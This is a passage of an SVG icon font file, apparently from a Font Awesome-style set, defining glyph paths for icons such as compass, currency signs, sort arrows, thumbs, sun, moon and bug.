c2.81152 -0.405273 7.39844 -0.734375 10.2393 -0.734375c6.80469 0 17.5342 1.8418 23.9502 4.11133c7.81348 2.76367 16.0107 -3.01465 16.0107 -11.3027v-88.8057c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48
h121.033c12.5508 0 16.6748 -16.8301 5.54492 -22.6309c-18.7773 -9.78613 -36.0615 -22.1084 -51.0137 -37.6758c-1.95312 -2.03711 -5.82715 -3.69141 -8.64844 -3.69336h-50.916v-320h320v68.8721z" />
    <glyph glyph-name="compass" unicode="&#xf14e;" horiz-adv-x="496" 
d="M225.38 214.63c12.4902 12.4902 32.75 12.4902 45.25 0s12.5 -32.75 0 -45.25c-12.4902 -12.5 -32.7598 -12.5 -45.25 0c-12.5 12.4902 -12.5 32.75 0 45.25zM248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248z
M374.14 291.95c7.61035 16.6494 -9.54004 33.7998 -26.1895 26.2002l-144.34 -65.9707c-5.97461 -2.73047 -13.04 -9.7959 -15.7705 -15.7695l-65.9795 -144.351c-7.61035 -16.6494 9.5498 -33.8096 26.1992 -26.1992l144.341 65.9697
c5.97363 2.73047 13.0391 9.7959 15.7695 15.7695z" />
    <glyph glyph-name="caret-square-down" unicode="&#xf150;" horiz-adv-x="448" 
d="M448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM92.5 227.5l123 -123c4.7002 -4.7002 12.2998 -4.7002 17 0l123 123c7.59961 7.59961 2.2002 20.5 -8.5 20.5h-246
c-10.7002 0 -16.0996 -12.9004 -8.5 -20.5z" />
    <glyph glyph-name="caret-square-up" unicode="&#xf151;" horiz-adv-x="448" 
d="M0 16v352c0 26.5098 21.4902 48 48 48h352c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48zM355.515 156.485l-123.029 123.029c-4.68652 4.68652 -12.2842 4.68652 -16.9717 0l-123.028 -123.029
c-7.56055 -7.56055 -2.20605 -20.4854 8.48438 -20.4854h246.06c10.6904 0 16.0449 12.9258 8.48535 20.4854z" />
    <glyph glyph-name="caret-square-right" unicode="&#xf152;" horiz-adv-x="448" 
d="M48 416h352c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48zM188.485 60.4854l123.028 123.028c4.68652 4.68652 4.68652 12.2842 0 16.9717l-123.028 123.029
c-7.56055 7.56055 -20.4854 2.20605 -20.4854 -8.48438v-246.06c0 -10.6904 12.9258 -16.0449 20.4854 -8.48535z" />
    <glyph glyph-name="euro-sign" unicode="&#xf153;" horiz-adv-x="320" 
d="M310.706 34.2354l8.81836 -44.4902c1.23828 -6.24902 -2.62109 -12.3623 -8.78809 -13.957c-12.5391 -3.24414 -34.8008 -7.78809 -61.1016 -7.78809c-104.371 0 -182.496 65.3076 -207.521 155.64h-30.1143c-6.62695 0 -12 5.37305 -12 12v28.3604
c0 6.62695 5.37305 12 12 12h21.3877c-1 12.958 -0.828125 28.6377 0.181641 42.2451h-21.5693c-6.62695 0 -12 5.37305 -12 12v29.7549c0 6.62695 5.37305 12 12 12h33.0752c28.9551 83.748 107.376 144 204.56 144c21.0752 0 40.582 -2.91211 52.6865 -5.20703
c6.86035 -1.30078 11.1475 -8.17578 9.32617 -14.917l-11.9912 -44.3682c-1.65527 -6.125 -7.78613 -9.89062 -14.002 -8.62305c-9.28711 1.89551 -23.3652 4.14551 -37.8516 4.14551c-54.9287 0 -96.9854 -30.0391 -117.619 -75.0303h138.278
c7.66211 0 13.3613 -7.08203 11.7227 -14.5664l-6.51172 -29.7549c-1.13965 -5.20703 -6.3916 -9.43359 -11.7227 -9.43359v0h-146.593c-1.55176 -13.958 -1.34766 -27.917 -0.137695 -42.2451h134.237c7.68945 0 13.3936 -7.12891 11.708 -14.6309l-6.37305 -28.3604
c-1.16211 -5.17188 -6.40723 -9.36914 -11.708 -9.36914h-113.689c19.5322 -50.6582 64.6982 -85.4482 121.462 -85.4482c18.0039 0 34.7334 2.97363 45.4258 5.41211c6.58887 1.50391 13.1094 -2.73828 14.4238 -9.36816z" />
    <glyph glyph-name="pound-sign" unicode="&#xf154;" horiz-adv-x="320" 
d="M308 96c6.62695 0 12 -5.37305 12 -12v-104c0 -6.62695 -5.37305 -12 -12 -12h-296c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h36v128h-28c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h28v66.0391
c0 73.2188 58.0264 125.961 139.931 125.961c48.6455 0 85.1934 -22.5596 101.575 -34.9277c5.39844 -4.07617 6.35254 -11.8057 2.11914 -17.0811l-28.4932 -35.5137c-3.7998 -4.73535 -10.5371 -5.89746 -15.6875 -2.68457
c-11.7744 7.34375 -33.9941 18.8486 -57.6523 18.8486c-37.2305 0 -61.792 -24.8193 -61.792 -57.0859v-63.5557h84c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-84v-126.848h122.505v50.8477c0 6.62695 5.37305 12 12 12h45.4951z" />
    <glyph glyph-name="dollar-sign" unicode="&#xf155;" horiz-adv-x="288" 
d="M209.2 214.6c57.8994 -16.8994 94 -80.0996 72.5 -141.699c-15.4004 -44.1006 -59.1006 -71.8008 -105.7 -72.7002v-48.2002c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v48c-31.4004 0.0996094 -62 10.7998 -86.5 30
c-7.90039 6.09961 -8.90039 17.5996 -1.7998 24.5l34.7998 34c5.2002 5.09961 13.4004 6.09961 19.5 2c10 -6.7998 22 -10.5 34.2002 -10.5h66.2998c16.2998 0 29.5 13.2002 29.5 29.5c0 13 -8.7002 24.5996 -21.2002 28.2998l-102.5 30
c-44.3994 13 -79.5996 50.5 -83.7998 96.6006c-5.90039 64.8994 45.2998 119.6 109 119.6h2.5v48c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-48c31.4004 -0.0996094 62 -10.7998 86.5 -30c7.90039 -6.09961 8.90039 -17.5996 1.7998 -24.5l-34.7998 -34
c-5.2002 -5.09961 -13.4004 -6.09961 -19.5 -2c-10 6.7998 -22 10.5 -34.2002 10.5h-66.2998c-16.2998 0 -29.5 -13.2002 -29.5 -29.5c0 -13 8.7002 -24.7002 21.2002 -28.2998z" />
    <glyph glyph-name="rupee-sign" unicode="&#xf156;" horiz-adv-x="320" 
d="M308 352h-72.9424c5.97266 -9.75391 10.7666 -20.459 14.252 -32h58.6904c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-52.8105c-7.1748 -74.5107 -61.8193 -125.566 -138.318 -127.906l150.882 -139.275
c8.02734 -7.41016 2.78516 -20.8184 -8.13867 -20.8184h-82.5625c-2.58984 0 -6.23535 1.42578 -8.13867 3.18164l-165.052 152.356c-2.46094 2.27148 -3.86133 5.46875 -3.86133 8.81836v53.0117c0 6.62695 5.37305 12 12 12h84c41.7959 0 68.54 22.5459 74.7568 58.6318
h-158.757c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h146.25c-12.709 17.2939 -33.6621 27.252 -60.9697 27.252h-85.2803c-6.62695 0 -12 5.37305 -12 12v44.748c0 6.62695 5.37305 12 12 12h296c6.62695 0 12 -5.37305 12 -12v-40
c0 -6.62695 -5.37305 -12 -12 -12z" />
    <glyph glyph-name="yen-sign" unicode="&#xf157;" horiz-adv-x="384" 
d="M351.2 416c9.09961 0 14.8994 -9.7002 10.5996 -17.5996l-80.0996 -150.4h58.2998c6.59961 0 12 -5.40039 12 -12v-32c0 -6.59961 -5.40039 -12 -12 -12h-88.2002l-19.7998 -37.2002v-26.7998h108c6.59961 0 12 -5.40039 12 -12v-32c0 -6.59961 -5.40039 -12 -12 -12
h-108v-92c0 -6.59961 -5.40039 -12 -12 -12h-56c-6.59961 0 -12 5.40039 -12 12v92h-108c-6.59961 0 -12 5.40039 -12 12v32c0 6.59961 5.40039 12 12 12h108v26.7998l-19.7998 37.2002h-88.2002c-6.59961 0 -12 5.40039 -12 12v32c0 6.59961 5.40039 12 12 12h58.2998
l-80.0996 150.4c-4.2002 7.89941 1.5 17.5996 10.5996 17.5996h65.2002c4.59961 0 8.7998 -2.59961 10.7998 -6.7002l55.4004 -113.2c14.5 -34.6992 27.0996 -71.8994 27.0996 -71.8994h1.2998s12.6006 37.2002 27.1006 71.8994l55.3994 113.2
c2 4.10059 6.2002 6.7002 10.8008 6.7002h65.2998z" />
    <glyph glyph-name="ruble-sign" unicode="&#xf158;" horiz-adv-x="384" 
d="M239.36 128h-92.8008v-32h161.44c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-161.44v-52c0 -6.62695 -5.37305 -12 -12 -12h-58.5596c-6.62695 0 -12 5.37305 -12 12v52h-52c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h52
v32h-52c-6.62695 0 -12 5.37305 -12 12v45.3682c0 6.62695 5.37305 12 12 12h52v206.632c0 6.62695 5.37305 12 12 12h163.36c85.1201 0 144.64 -57.5996 144.64 -143.071c0 -85.4707 -59.5195 -144.929 -144.64 -144.929zM146.56 347.252v-149.884h77.4404
c48 0 76.1602 29.7285 76.1602 75.5605c0 45.2129 -28.1602 74.3232 -74.8799 74.3232h-78.7207z" />
    <glyph glyph-name="won-sign" unicode="&#xf159;" horiz-adv-x="576" 
d="M564 256h-62.7002l-7.39941 -32h70.0996c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-84.9004l-42.0996 -182.7c-1.2998 -5.39941 -6.09961 -9.2998 -11.7002 -9.2998h-56.7998c-5.59961 0 -10.4004 3.90039 -11.7002 9.2998l-42.3994 182.7
h-55.1006l-42.2998 -182.7c-1.2998 -5.39941 -6.09961 -9.2998 -11.7002 -9.2998h-56.7998c-5.59961 0 -10.5 3.90039 -11.7002 9.40039l-40.8994 182.6h-83.9004c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h69.5l-7.2002 32h-62.2998
c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h48l-18.0996 80.7002c-1.7002 7.5 4 14.5996 11.6992 14.5996h42.1006c5.7002 0 10.7002 -4 11.7998 -9.59961l17.5 -85.7002h108.7l20 86c1.2998 5.5 6.09961 9.2998 11.7002 9.2998h44
c5.59961 0 10.3994 -3.7998 11.6992 -9.2998l19.7002 -86h109.9l14.3994 85.7998c1.10059 5.5 6 9.5 11.7002 9.5h46.1006c7.69922 0 13.3994 -7.2002 11.6992 -14.7002l-18.5996 -80.5996h48c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12zM183.8 106
l12.6006 54h-38.8008l11 -54c5.10059 -25.2002 6.80078 -47.2002 6.80078 -47.2002h1.09961c0.5 0 1.09961 21.4004 7.2998 47.2002zM211.3 224l7.5 32h-80.7998l6.5 -32h66.7998zM274.2 224h25.3994l-2 8.59961c-1.89941 8 -3.5 16 -4.7998 23.4004h-11.7998
c-1.2998 -7.40039 -2.90039 -15.4004 -4.7998 -23.4004zM405.1 106l11.5 54h-39.0996l12.4004 -54c6.19922 -25.7998 6.69922 -47.2002 7.2998 -47.2002h1.09961s1.7002 22 6.7998 47.2002zM430.3 224l6.90039 32h-81.6006l7.30078 -32h67.3994z" />
    <glyph glyph-name="file" unicode="&#xf15b;" horiz-adv-x="384" 
d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM384 326.1v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7l97.9004 -98
c4.5 -4.5 7 -10.5996 7 -16.9004z" />
    <glyph glyph-name="file-alt" unicode="&#xf15c;" horiz-adv-x="384" 
d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM288 76v8c0 6.59961 -5.40039 12 -12 12h-168c-6.59961 0 -12 -5.40039 -12 -12v-8
c0 -6.59961 5.40039 -12 12 -12h168c6.59961 0 12 5.40039 12 12zM288 140v8c0 6.59961 -5.40039 12 -12 12h-168c-6.59961 0 -12 -5.40039 -12 -12v-8c0 -6.59961 5.40039 -12 12 -12h168c6.59961 0 12 5.40039 12 12zM288 212c0 6.59961 -5.40039 12 -12 12h-168
c-6.59961 0 -12 -5.40039 -12 -12v-8c0 -6.59961 5.40039 -12 12 -12h168c6.59961 0 12 5.40039 12 12v8zM384 326.1v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7l97.9004 -98c4.5 -4.5 7 -10.5996 7 -16.9004z" />
    <glyph glyph-name="sort-alpha-down" unicode="&#xf15d;" horiz-adv-x="448" 
d="M176 96c14.2197 0 21.3496 -17.2598 11.3301 -27.3096l-80 -96c-2.58691 -2.58496 -7.65332 -4.68262 -11.3105 -4.68262c-3.65625 0 -8.72266 2.09766 -11.3096 4.68262l-80 96c-10.0703 10.0693 -2.90039 27.3096 11.29 27.3096h48v304c0 8.83203 7.16797 16 16 16h32
c8.83203 0 16 -7.16797 16 -16v-304h48zM416 160c8.83203 0 16 -7.16797 16 -16v-17.6299v-0.00292969c0 -7.93262 -4.81152 -18.6475 -10.7402 -23.917l-61.2598 -70.4502h56c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-128
c-8.83203 0 -16 7.16797 -16 16v17.6299v0.00292969c0 7.93262 4.81152 18.6475 10.7402 23.917l61.2598 70.4502h-56c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h128zM447.06 245.38c0.514648 -1.44043 0.931641 -3.85059 0.931641 -5.37988
c0 -8.82715 -7.16406 -15.9951 -15.9912 -16h-24.8398h-0.0449219c-6.42773 0 -13.249 4.96387 -15.2256 11.0801l-4.40918 12.9199h-71l-4.4209 -12.9199c-1.97559 -6.11621 -8.79688 -11.0801 -15.2246 -11.0801h-0.00488281h-24.8301
c-8.82715 0.00488281 -15.9912 7.17285 -15.9912 16c0 1.5293 0.416992 3.93945 0.931641 5.37988l59.2695 160c2.09277 5.8623 8.84375 10.6201 15.0684 10.6201h0.00195312h41.4395h0.00195312c6.22461 0 12.9756 -4.75781 15.0684 -10.6201zM335.61 304h32.7793
l-16.3896 48z" />
    <glyph glyph-name="sort-alpha-up" unicode="&#xf15e;" horiz-adv-x="448" 
d="M16 288c-14.2197 0 -21.3496 17.2598 -11.3096 27.3096l80 96c2.58594 2.58496 7.65332 4.68262 11.3096 4.68262s8.72363 -2.09766 11.3096 -4.68262l80 -96c10.0703 -10.0693 2.90039 -27.3096 -11.3096 -27.3096h-48v-304c0 -8.83203 -7.16797 -16 -16 -16h-32
c-8.83203 0 -16 7.16797 -16 16v304h-48zM416 160c8.83203 0 16 -7.16797 16 -16v-17.6299v-0.00292969c0 -7.93262 -4.81152 -18.6475 -10.7402 -23.917l-61.2598 -70.4502h56c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-128
c-8.83203 0 -16 7.16797 -16 16v17.6299v0.00292969c0 7.93262 4.81152 18.6475 10.7402 23.917l61.2598 70.4502h-56c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h128zM447.06 245.38c0.514648 -1.44043 0.931641 -3.85059 0.931641 -5.37988
c0 -8.82715 -7.16406 -15.9951 -15.9912 -16h-24.8398h-0.0449219c-6.42773 0 -13.249 4.96387 -15.2256 11.0801l-4.40918 12.9199h-71l-4.4209 -12.9199c-1.97559 -6.11621 -8.79688 -11.0801 -15.2246 -11.0801h-0.00488281h-24.8301
c-8.82715 0.00488281 -15.9912 7.17285 -15.9912 16c0 1.5293 0.416992 3.93945 0.931641 5.37988l59.2695 160c2.09277 5.8623 8.84375 10.6201 15.0684 10.6201h0.00195312h41.4395h0.00195312c6.22461 0 12.9756 -4.75781 15.0684 -10.6201zM335.61 304h32.7793
l-16.3896 48z" />
    <glyph glyph-name="sort-amount-down" unicode="&#xf160;" 
d="M304 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-64c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h64zM176 96c14.2197 0 21.3496 -17.2598 11.3301 -27.3096l-80 -96
c-2.58691 -2.58496 -7.65332 -4.68262 -11.3105 -4.68262c-3.65625 0 -8.72266 2.09766 -11.3096 4.68262l-80 96c-10.0801 10.0693 -2.90039 27.3096 11.29 27.3096h48v304c0 8.83203 7.16797 16 16 16h32c8.83203 0 16 -7.16797 16 -16v-304h48zM432 288
c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-192c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h192zM368 160c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-128c-8.83203 0 -16 7.16797 -16 16v32
c0 8.83203 7.16797 16 16 16h128zM496 416c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-256c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h256z" />
    <glyph glyph-name="sort-amount-up" unicode="&#xf161;" 
d="M304 32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-64c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h64zM16 288c-14.2305 0 -21.3496 17.2598 -11.3096 27.3096l80 96c2.58594 2.58496 7.65332 4.68262 11.3096 4.68262
s8.72363 -2.09766 11.3096 -4.68262l80 -96c10.0703 -10.0693 2.90039 -27.3096 -11.3096 -27.3096h-48v-304c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v304h-48zM432 288c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16
h-192c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h192zM368 160c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-128c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h128zM496 416c8.83203 0 16 -7.16797 16 -16v-32
c0 -8.83203 -7.16797 -16 -16 -16h-256c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h256z" />
    <glyph glyph-name="sort-numeric-down" unicode="&#xf162;" horiz-adv-x="448" 
d="M304 352c-8.82422 0.0078125 -15.9863 7.17578 -15.9863 16c0 2.08984 0.759766 5.30176 1.69629 7.16992l16 32c2.44141 4.87012 8.84277 8.8252 14.29 8.83008h48c8.83203 0 16 -7.16797 16 -16v-112h16c8.83203 0 16 -7.16797 16 -16v-32
c0 -8.83203 -7.16797 -16 -16 -16h-96c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h16v64h-16zM330.15 189.09c53.4502 14.25 101.85 -25.8799 101.869 -77.0898v-10.7695c0 -70.3906 -28.25 -107.24 -86.25 -132
c-8.36914 -3.58008 -18.0293 1.2793 -20.8994 9.90918l-9.90039 20c-2.62012 7.87012 0.610352 16.9404 8.18066 20.3408c6.2793 2.71387 15.6201 8.49805 20.8496 12.9092c-47.6396 4.76074 -83.0996 51.4805 -68.8496 102.53c6.80762 23.4512 31.4473 47.7197 55 54.1699z
M352 92c11.04 0 20 8.95996 20 20s-8.95996 20 -20 20s-20 -8.95996 -20 -20s8.95996 -20 20 -20zM176 96c14.2197 0 21.3496 -17.2598 11.3301 -27.3096l-80 -96c-2.58691 -2.58496 -7.65332 -4.68262 -11.3105 -4.68262c-3.65625 0 -8.72266 2.09766 -11.3096 4.68262
l-80 96c-10.0703 10.0693 -2.90039 27.3096 11.29 27.3096h48v304c0 8.83203 7.16797 16 16 16h32c8.83203 0 16 -7.16797 16 -16v-304h48z" />
    <glyph glyph-name="sort-numeric-up" unicode="&#xf163;" horiz-adv-x="448" 
d="M330.17 189.09c53.4502 14.25 101.83 -25.8799 101.85 -77.0898v-10.7695c0 -70.3906 -28.25 -107.24 -86.25 -132c-8.36914 -3.58008 -18.0293 1.2793 -20.8994 9.90918l-9.90039 20c-2.62012 7.87012 0.610352 16.9404 8.18066 20.3408
c6.2793 2.71387 15.6201 8.49805 20.8496 12.9092c-47.6396 4.76074 -83.0996 51.4805 -68.8301 102.53c6.80762 23.4512 31.4482 47.7197 55 54.1699zM352 92c11.04 0 20 8.95996 20 20s-8.95996 20 -20 20s-20 -8.95996 -20 -20s8.95996 -20 20 -20zM304 352
c-8.82422 0.0078125 -15.9863 7.17578 -15.9863 16c0 2.08984 0.759766 5.30176 1.69629 7.16992l16 32c2.44141 4.87012 8.84277 8.8252 14.29 8.83008h48c8.83203 0 16 -7.16797 16 -16v-112h16c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-96
c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h16v64h-16zM107.31 411.31l80 -96c10.0703 -10.0693 2.90039 -27.3096 -11.3096 -27.3096h-48v-304c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v304h-48
c-14.2197 0 -21.3496 17.2598 -11.3096 27.3096l80 96c2.58594 2.58496 7.65332 4.68262 11.3096 4.68262s8.72363 -2.09766 11.3096 -4.68262z" />
    <glyph glyph-name="thumbs-up" unicode="&#xf164;" 
d="M104 224c13.2549 0 24 -10.7451 24 -24v-240c0 -13.2549 -10.7451 -24 -24 -24h-80c-13.2549 0 -24 10.7451 -24 24v240c0 13.2549 10.7451 24 24 24h80zM64 -24c13.2549 0 24 10.7451 24 24s-10.7451 24 -24 24s-24 -10.7451 -24 -24s10.7451 -24 24 -24zM384 366.548
c0 -42.416 -25.9697 -66.208 -33.2773 -94.5479h101.724c33.3965 0 59.3965 -27.7461 59.5527 -58.0977c0.0839844 -17.9385 -7.5459 -37.249 -19.4395 -49.1973l-0.109375 -0.110352c9.83594 -23.3369 8.23633 -56.0371 -9.30859 -79.4688
c8.68164 -25.8945 -0.0683594 -57.7041 -16.3818 -74.7568c4.29785 -17.5977 2.24414 -32.5752 -6.14746 -44.6318c-20.4102 -29.3242 -70.9961 -29.7373 -113.773 -29.7373l-2.84473 0.000976562c-48.2871 0.0166016 -87.8057 17.5977 -119.561 31.7246
c-15.957 7.09961 -36.8203 15.8877 -52.6504 16.1787c-6.54004 0.120117 -11.7832 5.45703 -11.7832 11.998v213.77c0 3.2002 1.28223 6.27148 3.55762 8.52148c39.6143 39.1436 56.6484 80.5869 89.1172 113.11c14.8037 14.832 20.1885 37.2363 25.3936 58.9023
c4.44629 18.501 13.749 57.7939 33.9316 57.7939c24 0 72 -8 72 -81.4521z" />
    <glyph glyph-name="thumbs-down" unicode="&#xf165;" 
d="M0 392c0 13.2549 10.7451 24 24 24h80c13.2549 0 24 -10.7451 24 -24v-240c0 -13.2549 -10.7451 -24 -24 -24h-80c-13.2549 0 -24 10.7451 -24 24v240zM40 192c0 -13.2549 10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24s-24 -10.7451 -24 -24zM312 -64
c-20.1826 0 -29.4854 39.293 -33.9307 57.7949c-5.20605 21.666 -10.5889 44.0703 -25.3936 58.9023c-32.4688 32.5234 -49.5029 73.9668 -89.1172 113.11c-1.96387 1.94141 -3.55762 5.75879 -3.55762 8.52051v0.000976562v213.77
c0 6.54102 5.24316 11.8779 11.7832 11.998c15.8311 0.290039 36.6934 9.0791 52.6504 16.1787c31.7549 14.127 71.2744 31.708 119.561 31.7246h2.84375c42.7773 0 93.3633 -0.413086 113.774 -29.7373c8.3916 -12.0566 10.4453 -27.0342 6.14746 -44.6318
c16.3125 -17.0527 25.0635 -48.8633 16.3818 -74.7568c17.5439 -23.4316 19.1436 -56.1318 9.30859 -79.4688l0.109375 -0.110352c11.8936 -11.9492 19.5234 -31.2588 19.4395 -49.1973c-0.15625 -30.3516 -26.1572 -58.0977 -59.5527 -58.0977h-101.725
c7.30762 -28.3398 33.2773 -52.1318 33.2773 -94.5479c0 -73.4521 -48 -81.4521 -72 -81.4521z" />
    <glyph glyph-name="female" unicode="&#xf182;" horiz-adv-x="256" 
d="M128 448c35.3457 0 64 -28.6543 64 -64s-28.6543 -64 -64 -64s-64 28.6543 -64 64s28.6543 64 64 64zM247.283 93.8213c3.78809 -15.1504 -7.69238 -29.8213 -23.2832 -29.8213h-56v-104c0 -13.2549 -10.7451 -24 -24 -24h-32c-13.2549 0 -24 10.7451 -24 24v104h-56
c-15.6172 0 -27.0654 14.6953 -23.2832 29.8213l48 192c2.50879 10.0342 12.9395 18.1787 23.2832 18.1787h11.3604c23.6895 -10.8936 50.5684 -10.4434 73.2793 0h11.3604c10.3438 0 20.7744 -8.14453 23.2832 -18.1787z" />
    <glyph glyph-name="male" unicode="&#xf183;" horiz-adv-x="192" 
d="M96 448c35.3457 0 64 -28.6543 64 -64s-28.6543 -64 -64 -64s-64 28.6543 -64 64s28.6543 64 64 64zM144 304c26.5098 0 48 -21.4902 48 -48v-136c0 -13.2549 -10.7451 -24 -24 -24h-16v-136c0 -13.2549 -10.7451 -24 -24 -24h-64c-13.2549 0 -24 10.7451 -24 24v136h-16
c-13.2549 0 -24 10.7451 -24 24v136c0 26.5098 21.4902 48 48 48h11.3604c23.6895 -10.8936 50.5684 -10.4434 73.2793 0h11.3604z" />
    <glyph glyph-name="sun" unicode="&#xf185;" 
d="M256 288c52.9004 0 96 -43.0996 96 -96s-43.0996 -96 -96 -96s-96 43.0996 -96 96s43.0996 96 96 96zM502.4 207.5c12.7998 -6.40039 12.7998 -24.5996 -0.200195 -31.0996l-94.7002 -47.3008l33.5 -100.399c4.59961 -13.5 -8.2998 -26.4004 -21.9004 -21.9004
l-100.399 33.5l-47.2998 -94.7002c-6.40039 -12.7998 -24.6006 -12.7998 -31 0l-47.3008 94.7002l-100.399 -33.5c-13.5 -4.59961 -26.4004 8.2998 -21.9004 21.9004l33.5 100.5l-94.7002 47.2998c-12.7998 6.40039 -12.7998 24.5996 0 31l94.7002 47.4004l-33.5 100.399
c-4.59961 13.5 8.2998 26.4004 21.9004 21.9004l100.5 -33.5l47.2998 94.7002c6.40039 12.7998 24.5996 12.7998 31 0l47.4004 -94.8008l100.399 33.5c13.5 4.60059 26.4004 -8.2998 21.9004 -21.8994l-33.5 -100.4zM346.5 101.5c49.9004 49.9004 49.9004 131.1 0 181
s-131.1 49.9004 -181 0s-49.9004 -131.1 0 -181s131.1 -49.9004 181 0z" />
    <glyph glyph-name="moon" unicode="&#xf186;" 
d="M283.211 -64c-141.489 0 -256 114.691 -256 256c0 141.489 114.691 256 256 256c13.0176 -0.00195312 33.9727 -1.91895 46.7754 -4.28027c11.0059 -2.0332 13.4414 -16.7178 3.75586 -22.2295c-62.8359 -35.7588 -101.498 -102.172 -101.498 -174.395
c0 -125.378 114.059 -220.607 238.262 -196.954c10.9229 2.08008 18.6299 -10.6416 11.5625 -19.3496c-47.7783 -58.8672 -119.896 -94.792 -198.857 -94.792z" />
    <glyph glyph-name="archive" unicode="&#xf187;" 
d="M32 0v288h448v-288c0 -17.7002 -14.2998 -32 -32 -32h-384c-17.7002 0 -32 14.2998 -32 32zM192 212v-8c0 -6.59961 5.40039 -12 12 -12h104c6.59961 0 12 5.40039 12 12v8c0 6.59961 -5.40039 12 -12 12h-104c-6.59961 0 -12 -5.40039 -12 -12zM480 416
c17.7002 0 32 -14.2998 32 -32v-48c0 -8.7998 -7.2002 -16 -16 -16h-480c-8.7998 0 -16 7.2002 -16 16v48c0 17.7002 14.2998 32 32 32h448z" />
    <glyph glyph-name="bug" unicode="&#xf188;" 
d="M511.988 159.1c-0.478516 -17.4297 -15.2168 -31.0996 -32.6533 -31.0996h-55.335v-16c0 -21.8643 -4.88184 -42.584 -13.5996 -61.1445l60.2275 -60.2285c12.4961 -12.4971 12.4961 -32.7578 0 -45.2549c-12.498 -12.4971 -32.7588 -12.4961 -45.2559 0
l-54.7363 54.7363c-24.75 -20.0732 -56.2852 -32.1084 -90.6357 -32.1084v244c0 6.62695 -5.37305 12 -12 12h-24c-6.62695 0 -12 -5.37305 -12 -12v-244c-34.3506 0 -65.8857 12.0352 -90.6357 32.1084l-54.7363 -54.7363c-12.498 -12.4971 -32.7588 -12.4961 -45.2559 0
c-12.4961 12.4971 -12.4961 32.7578 0 45.2549l60.2275 60.2285c-8.71777 18.5605 -13.5996 39.2803 -13.5996 61.1445v16h-55.334c-17.4355 0 -32.1748 13.6699 -32.6533 31.0996c-0.49707 18.084 14.0156 32.9004 31.9873 32.9004h56v58.7451l-46.6279 46.6279
c-12.4961 12.4971 -12.4961 32.7578 0 45.2549c12.498 12.4971 32.7578 12.4971 45.2559 0l54.627 -54.6279h229.489l54.627 54.627c12.498 12.4971 32.7578 12.4971 45.2559 0c12.4961 -12.4971 12.4961 -32.7578 0 -45.2549l-46.627 -46.627v-58.7451h56
